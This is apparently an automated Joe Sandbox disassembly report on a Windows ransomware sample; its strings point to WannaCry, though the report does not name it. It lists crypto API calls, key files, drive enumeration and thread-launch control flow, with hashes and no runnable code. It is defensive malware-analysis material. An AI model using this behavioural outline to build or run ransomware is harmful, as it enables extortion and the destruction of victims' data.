                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt$ExportParam
                                      • String ID:
                                      • API String ID: 2541419234-0
                                      • Opcode ID: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                      • Instruction ID: 80228a1e7adbe0cc537bf2fc0d3ef992fb5bf6351f3b42e9d805a86e7a99636c
                                      • Opcode Fuzzy Hash: 83fd7636ed65e7b4624369af09241801eb1dccb5b71602364eee19c08e2797c0
                                      • Instruction Fuzzy Hash: DB51E6716083428FE314CF14D888B9BB7E9FBD8394F51082EF585C7250E774AA49CB62
                                      Function 004019E1 Relevance: 7.5, APIs: 5, Instructions: 39encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                                      • CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?,?,00401642,?,?,?,?), ref: 00401A08
                                      • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                                      • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                                      • memcpy.MSVCRT ref: 00401A2C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CriticalSection$Leave$CryptDecryptEntermemcpy
                                      • String ID:
                                      • API String ID: 629328382-0
                                      • Opcode ID: 94e8d9869d495fd689c19527cd0e18adf9874140e5f97769a3eef967b1068a4f
                                      • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                                      • Opcode Fuzzy Hash: 94e8d9869d495fd689c19527cd0e18adf9874140e5f97769a3eef967b1068a4f
                                      • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                                      Function 10004370 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4ea3eeb4338976af1b49ef32fc0f27f3129d97ac1d5a3798dafd0532e56462bc
                                      • Instruction ID: 759c0a14362a556fbf2cad353e51d727f5decb9fea83b105da684ea7e7d84043
                                      • Opcode Fuzzy Hash: 4ea3eeb4338976af1b49ef32fc0f27f3129d97ac1d5a3798dafd0532e56462bc
                                      • Instruction Fuzzy Hash: 12118E763043159BE700DEA9EC84FABB3D8EBC46A1F01842AFA41C7245DB61E855DBB0
                                      Function 10003AC0 Relevance: 4.6, APIs: 3, Instructions: 97encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10003A80: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,771B3310,771B3310,10003D9E,?,771B3310,00000000), ref: 10003A9D
                                      • CryptImportKey.ADVAPI32(?,1000D054,00000114,?,?,00000008,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003AF9
                                        • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BBB
                                        • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BD0
                                        • Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BE7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt$ContextDestroy$AcquireImportRelease
                                      • String ID:
                                      • API String ID: 3621138593-0
                                      • Opcode ID: cf7f808b5e395eb40acbcfc562c684f46bddb0717363dabebf02d7c2591c2498
                                      • Instruction ID: eeddb810c8b0980dadc4d2239f662fd7310c3eb3cb20e166202ef2aa935ebe17
                                      • Opcode Fuzzy Hash: cf7f808b5e395eb40acbcfc562c684f46bddb0717363dabebf02d7c2591c2498
                                      • Instruction Fuzzy Hash: 222190763006116BF616EA259C80FAF73DCEB80AD8701C42EFB45D7149EB20EC0583B1
                                      Function 10004790 Relevance: 4.5, APIs: 3, Instructions: 27sleepthreadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • time.MSVCRT ref: 100047AA
                                        • Part of subcall function 10004730: CreateFileA.KERNELBASE(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000,00000000,?,10005A09), ref: 10004749
                                      • Sleep.KERNELBASE(000003E8), ref: 100047C9
                                      • ExitThread.KERNEL32 ref: 100047DC
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CreateExitFileSleepThreadtime
                                      • String ID:
                                      • API String ID: 2783800087-0
                                      • Opcode ID: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                      • Instruction ID: 044671865621f727fe7313d62920a2e240410ece8b56ecd1862d79b3c5d98fe8
                                      • Opcode Fuzzy Hash: 78c4880712248404ecc2fa0409a3760e6f5b1b32e76aedbac21b59ea9dd33f48
                                      • Instruction Fuzzy Hash: 98E065B1A043619BF240EB659CC1F1A73E4FB066C1F030116E90DC725CDB25EC118B75
                                      Function 10003BB0 Relevance: 4.5, APIs: 3, Instructions: 24encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BBB
                                      • CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BD0
                                      • CryptReleaseContext.ADVAPI32(?,00000000,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BE7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt$Destroy$ContextRelease
                                      • String ID:
                                      • API String ID: 1308222791-0
                                      • Opcode ID: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                      • Instruction ID: f1cc2cf111f110fe811ea6370cd5c313e44567005eb2b288da12d319a42cafb9
                                      • Opcode Fuzzy Hash: 4ea7f1e0a1fd2f9fb43590626c22c626a955715fbfba3da651db7abaaf502b5e
                                      • Instruction Fuzzy Hash: B4E0E5706007119BF7609F26D888F1777ECAF447A4F01C81DF49AD7694CBB8E8408B60
                                      Function 100053F0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: NameUser_wcsicmp
                                      • String ID:
                                      • API String ID: 46677947-0
                                      • Opcode ID: 3af6ba93c841a6dfec5909aa4c30899397575f505b83a40fa5704630c05f9164
                                      • Instruction ID: 442cefb67fd77dc7d4c6c862235f07921af60ab383b0b3296d28c7faf1cdecfa
                                      • Opcode Fuzzy Hash: 3af6ba93c841a6dfec5909aa4c30899397575f505b83a40fa5704630c05f9164
                                      • Instruction Fuzzy Hash: 7DF0C875508341ABE710DB54C888BAFB3A4FFD4740F00882CF5AC432A5E6759544CB52
                                      Function 00401861 Relevance: 1.5, APIs: 1, Instructions: 33encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0040182C: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,00401869,?,00401448,?), ref: 00401849
                                      • CryptImportKey.ADVAPI32(?,0040EBF8,00000494,00000000,00000000,?,?,00401448,?), ref: 00401888
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Crypt$AcquireContextImport
                                      • String ID:
                                      • API String ID: 193843291-0
                                      • Opcode ID: 00163cd05f23b90a1eb4289055b6149a937518a9f4e0d8f5a43f95d4d64a5ccf
                                      • Instruction ID: dd5a952b134a24afde2d3cacf3910d543f64e1b6cba6ed960c047e302ab63d3a
                                      • Opcode Fuzzy Hash: 00163cd05f23b90a1eb4289055b6149a937518a9f4e0d8f5a43f95d4d64a5ccf
                                      • Instruction Fuzzy Hash: 15F08C73504202AAF6247621DC42E7772ACAF10348B00C83BF946F05F0E779EA919659
                                      Function 10003A80 Relevance: 1.5, APIs: 1, Instructions: 26encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,771B3310,771B3310,10003D9E,?,771B3310,00000000), ref: 10003A9D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AcquireContextCrypt
                                      • String ID:
                                      • API String ID: 3951991833-0
                                      • Opcode ID: 1e2b99b261f434a8758b3837a499fa881346a9b5b9ef7b17a4a540f9265623f0
                                      • Instruction ID: b1332512aa3679c9017294848d65a50e9c060540053565e5952685b00fb9941e
                                      • Opcode Fuzzy Hash: 1e2b99b261f434a8758b3837a499fa881346a9b5b9ef7b17a4a540f9265623f0
                                      • Instruction Fuzzy Hash: 18E02B3374013025F350952EFC01BEB974CD7D2AA1F114026FC45E608CC641CC4780E0
                                      Function 0040182C Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,00401869,?,00401448,?), ref: 00401849
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AcquireContextCrypt
                                      • String ID:
                                      • API String ID: 3951991833-0
                                      • Opcode ID: 05a3c7366586a31bd645e4b87497eee4fc7f9b0be6c205703f8acccdb6d36970
                                      • Instruction ID: a10c3aed07c23a8bf5b408c060acb1fa1e0ef34e360896137e0dfc64bb6721bb
                                      • Opcode Fuzzy Hash: 05a3c7366586a31bd645e4b87497eee4fc7f9b0be6c205703f8acccdb6d36970
                                      • Instruction Fuzzy Hash: 1EE0C23734011064F330242AAC05FE71559D7C1714F14C036F906EA0D0C2248A4780A8
                                      Function 10003C00 Relevance: 1.5, APIs: 1, Instructions: 20encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptDestroyKey.ADVAPI32(?,?,00000000,10003B1E,?,?,00000000,00000000,10005C48,00000000.pky,00000000.eky), ref: 10003C0F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CryptDestroy
                                      • String ID:
                                      • API String ID: 1712904745-0
                                      • Opcode ID: d386fcc28a35982a40e03e9a25c01c0b6323731e41e54903f2a0c06f0d45bc19
                                      • Instruction ID: 216831db427efc8a39eef34e2a2769008fc1dd1c1a321c3d2b98954c70c139aa
                                      • Opcode Fuzzy Hash: d386fcc28a35982a40e03e9a25c01c0b6323731e41e54903f2a0c06f0d45bc19
                                      • Instruction Fuzzy Hash: 20E0ECB6600512ABE7149B1AD844E67FBACEF953A0B01892AF918D3215DB70E855CAA0
                                      Function 10004350 Relevance: 1.5, APIs: 1, Instructions: 11encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptGenKey.ADVAPI32(?,00000001,08000001,?,10003B4D,?,00000008), ref: 10004361
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt
                                      • String ID:
                                      • API String ID: 993010335-0
                                      • Opcode ID: 189f3ff24126c5494ac2e443b09d7a469fabf7adb680102c7679118783c231a7
                                      • Instruction ID: cc008437c8a41955c005fef3a11886c117b5a20c5dc68c389fd3f57f9cb059c2
                                      • Opcode Fuzzy Hash: 189f3ff24126c5494ac2e443b09d7a469fabf7adb680102c7679118783c231a7
                                      • Instruction Fuzzy Hash: 82C08C703A43037FEA208B38CC81E2A3396A780B02F000A08B046C60C8CAB1C8408A10
                                      Function 10005AE0 Relevance: 59.7, APIs: 28, Strings: 6, Instructions: 223threadsleepsynchronizationCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 87 10005ae0-10005b06 88 10005d64 87->88 89 10005b0c-10005b13 call 10004690 87->89 91 10005d66-10005d7d 88->91 89->88 93 10005b19-10005b5f GetModuleFileNameW wcsrchr 89->93 94 10005b70-10005b8c SetCurrentDirectoryW call 10001000 93->94 95 10005b61-10005b6d wcsrchr 93->95 94->88 98 10005b92-10005ba3 call 100012d0 call 10003410 94->98 95->94 98->88 103 10005ba9-10005be7 sprintf * 3 call 10004600 98->103 106 10005d42-10005d5e CreateThread WaitForSingleObject CloseHandle 103->106 107 10005bed-10005bf8 call 10004500 103->107 106->88 107->106 110 10005bfe-10005c15 ??2@YAPAXI@Z 107->110 111 10005c22 110->111 112 10005c17-10005c20 call 10003a10 110->112 114 10005c24-10005c31 111->114 112->114 114->88 115 10005c37-10005c4a call 10003ac0 114->115 115->88 119 10005c50-10005c57 call 100046d0 115->119 122 10005c61-10005c89 DeleteFileA call 10004420 119->122 123 10005c59-10005c5f 119->123 124 10005c8e-10005cb8 call 10003bb0 CreateThread 122->124 123->122 123->124 129 10005cba-10005cbb FindCloseChangeNotification 124->129 130 10005cbd-10005cd5 Sleep CreateThread 124->130 129->130 131 10005cd7-10005cd8 CloseHandle 130->131 132 10005cda-10005d03 Sleep CreateThread Sleep CreateThread 130->132 131->132 133 10005d05-10005d06 FindCloseChangeNotification 132->133 134 10005d08-10005d1f Sleep CreateThread 132->134 133->134 135 10005d21-10005d22 CloseHandle 134->135 136 10005d24-10005d28 Sleep call 100057c0 134->136 135->136 138 10005d2d-10005d2f 136->138 139 10005d31-10005d3b WaitForSingleObject CloseHandle 138->139 140 10005d3d-10005d40 138->140 139->140 140->91
                                      APIs
                                        • Part of subcall function 10004690: CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                        • Part of subcall function 10004690: GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                        • Part of subcall function 10004690: CloseHandle.KERNEL32(00000000,?,10005B11), ref: 100046B4
                                      • GetModuleFileNameW.KERNEL32(?,?,00000103), ref: 10005B45
                                      • wcsrchr.MSVCRT ref: 10005B58
                                      • wcsrchr.MSVCRT ref: 10005B68
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 10005B75
                                      • sprintf.MSVCRT ref: 10005BBA
                                      • sprintf.MSVCRT ref: 10005BCA
                                      • sprintf.MSVCRT ref: 10005BDA
                                      • ??2@YAPAXI@Z.MSVCRT ref: 10005C00
                                      • DeleteFileA.KERNELBASE(00000000.res,00000000.pky,00000000.eky), ref: 10005C66
                                      • CreateThread.KERNELBASE(00000000,00000000,10004790,00000000,00000000,00000000), ref: 10005CAE
                                      • FindCloseChangeNotification.KERNELBASE(00000000,?,1000DC68,00000008), ref: 10005CBB
                                      • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CC5
                                      • CreateThread.KERNELBASE(00000000,00000000,100045C0,00000000,00000000,00000000), ref: 10005CD1
                                      • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005CD8
                                      • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CDC
                                      • CreateThread.KERNELBASE(00000000,00000000,10005730,00000000,00000000,00000000), ref: 10005CE8
                                      • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005CEE
                                      • CreateThread.KERNELBASE(00000000,00000000,10005300,00000000,00000000,00000000), ref: 10005CFF
                                      • FindCloseChangeNotification.KERNELBASE(00000000,?,1000DC68,00000008), ref: 10005D06
                                      • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005D0A
                                      • CreateThread.KERNELBASE(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D1B
                                      • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D22
                                      • Sleep.KERNELBASE(00000064,?,1000DC68,00000008), ref: 10005D26
                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,?,1000DC68,00000008), ref: 10005D34
                                      • CloseHandle.KERNEL32(00000000,?,1000DC68,00000008), ref: 10005D3B
                                      • CreateThread.KERNEL32(00000000,00000000,10004990,00000000,00000000,00000000), ref: 10005D4C
                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10005D57
                                      • CloseHandle.KERNEL32(00000000), ref: 10005D5E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CloseCreate$Thread$HandleSleep$sprintf$ChangeFileFindNotificationObjectSingleWaitwcsrchr$??2@CurrentDeleteDirectoryErrorLastModuleMutexName
                                      • String ID: %08X.eky$%08X.pky$%08X.res$00000000.eky$00000000.pky$00000000.res
                                      • API String ID: 559266157-2804955549
                                      • Opcode ID: ee5fbc7882673b08fa3466ba53b034e2caa2d0a80666ceeab9f5b650b967e4bc
                                      • Instruction ID: e4175da2d662a7d129a6a1c994910e1168799e87a5461eb6227fef153a444960
                                      • Opcode Fuzzy Hash: ee5fbc7882673b08fa3466ba53b034e2caa2d0a80666ceeab9f5b650b967e4bc
                                      • Instruction Fuzzy Hash: 0051B1B1A00355BBF620EBB49CC9FAF369CEB446C5F010926FA05961C9EF75AC008676
                                      Function 100057C0 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 227sleepCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 221 100057c0-1000580e call 10001590 call 10001830 226 10005814-10005822 GetFileAttributesA 221->226 227 10005aae-10005ada call 10001680 221->227 228 10005834-1000583a 226->228 229 10005824-1000582f call 100018f0 226->229 232 10005884-100058a5 call 10004cd0 call 10004df0 call 10005480 228->232 233 1000583c-10005881 time call 10004730 sprintf call 10001080 call 10001000 228->233 229->228 232->227 247 100058ab-100058b4 232->247 233->232 248 100058ba-100058d1 InterlockedExchange 247->248 249 100058d3-10005919 call 10001080 * 5 248->249 250 1000591c-10005924 GetLogicalDrives 248->250 249->250 251 10005926 250->251 253 1000592b-1000594e 251->253 255 10005950-10005959 253->255 256 10005997-1000599b 253->256 258 10005991-10005995 255->258 259 1000595b-1000595d 255->259 256->251 261 1000599d-100059cc InterlockedExchange call 10004a40 256->261 258->253 258->256 263 1000596d-10005970 259->263 264 1000595f-10005969 GetDriveTypeW 259->264 271 100059f4-10005a0e time call 10004730 261->271 272 100059ce-100059f1 sprintf call 10001080 261->272 268 10005972-1000597c GetDriveTypeW 263->268 269 1000597e-1000598e call 10005540 263->269 264->258 267 1000596b 264->267 267->269 268->258 268->269 269->258 283 10005a10-10005a33 sprintf call 10001080 271->283 284 10005a36-10005a38 271->284 272->271 283->284 286 10005a93-10005aa5 Sleep 284->286 287 10005a3a-10005a44 call 10005190 284->287 288 100058b6 286->288 289 10005aab-10005aad 286->289 293 10005a49-10005a50 287->293 288->248 289->227 293->286 294 10005a52-10005a5b 293->294 295 10005a8d-10005a91 294->295 296 10005a5d-10005a82 GetDriveTypeW 294->296 295->286 295->293 296->295 297 10005a84-10005a8a call 10005190 296->297 297->295
                                      APIs
                                        • Part of subcall function 10001590: ??2@YAPAXI@Z.MSVCRT ref: 100015FC
                                      • GetFileAttributesA.KERNELBASE(f.wnry,00000000.pky,10005340,1000DD8C,771B0F10), ref: 10005819
                                      • time.MSVCRT ref: 1000583D
                                      • sprintf.MSVCRT ref: 1000585F
                                      • InterlockedExchange.KERNEL32(1000D4E4,000000FF), ref: 100058C1
